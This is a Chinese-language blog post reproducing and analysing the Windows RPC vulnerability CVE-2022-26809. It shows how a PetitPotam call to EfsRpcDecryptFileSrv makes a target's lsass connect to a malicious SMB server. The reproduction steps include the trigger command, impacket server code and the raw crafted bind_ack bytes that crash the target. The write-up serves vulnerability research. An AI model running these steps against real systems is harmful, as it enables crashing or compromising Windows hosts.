CVE-2022-26809 RPC 高危漏洞复现与分析
时间:2022年5月20日
2022年4月份修复的高危漏洞 CVE-2022-26809 距今已经过去一月有余,期间除了 L1nk 师傅发了一篇关于 GetCoalescedBuffer() 漏洞函数触发条件的分析,再无其他消息。我这边虽然分析出了 ProcessReceivedPDU() 漏洞函数的触发逻辑,但苦于无法在默认系统上触发,也没什么进展。
直到 5月18日,corelight 上发了一篇关于 CVE-2022-26809 的漏洞利用检测文章 ,同时给出了相关的github 仓库,仓库中附带了捕捉的 漏洞触发数据包。
文章中提到 CVE-2022-26809 位于OSF_CASSOCIATION::ProcessBindAckOrNak() 函数中,这是一个 客户端解析 bind_ack 响应的函数。我和 L1nk 师傅一开始都忽视了这个函数,因为我们觉得客户端的漏洞和 ”有希望成为蠕虫漏洞“ 的描述不符,不太可能是 CVE-2022-26809。但实际上 当我们调用目标主机的 EfsRpcDecryptFileSrv() efs rpc 函数时,该函数会根据我们传入的unc路径,向我们的恶意smb服务器 的 srvsvc 端点发起bind请求。这样 服务端 也就变成了 客户端,就会调用 ProcessBindAckOrNak() 处理我们的恶意smb服务器返回的 bind_ack 数据包。现在看还是对 smb 之类的知识了解的太少。
EfsRpcDecryptFileSrv() 是 lsass.exe 进程里的,位于c681d488-d850-11d0-8c52-00c04fd90f7e 接口的一个rpc函数,你可以通过 \pipe\lsass 端点访问它。
efs 相关的rpc函数在2021年曾出过 PetitPotam 域提权 和 CVE-2021-43893 域控文件写 几个著名的漏洞。虽然 CVE-2022-26809 和 这几个漏洞原理不类似,但触发方式类似,我们完全可以复用 PetitPotam 的脚本,免去了自己写rpc 客户端的麻烦。
推荐阅读这篇文章 https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/,了解关于PetitPotam 的漏洞发展历史。
1. 调用 EfsRpcDecryptFileSrv() 函数
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
python3 petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug 'mr.wang:123@192.168.33.159' '\\192.168.33.154\srvsvc\test.txt'
2. 搭建恶意 smb 服务器
from impacket.smbserver import SimpleSMBServer
myserver = SimpleSMBServer(listenPort=445)
myserver.start()
d = b'\x05\x00\x0c\x03\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x02\x10\xb8\x10\xb8\x00\x00\x12\x34\x00\x00'
print(d)
self._clientSock.send(d)
3. 捕捉崩溃
Set-SmbServerConfiguration -EnableSMB2Protocol $false
Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
附:
http://showlinkroom.me/2022/04/30/Windows-CVE-2022-26809/
https://corelight.com/blog/another-day-another-dce-rpc-rce
https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/
https://github.com/ly4k/PetitPotam
END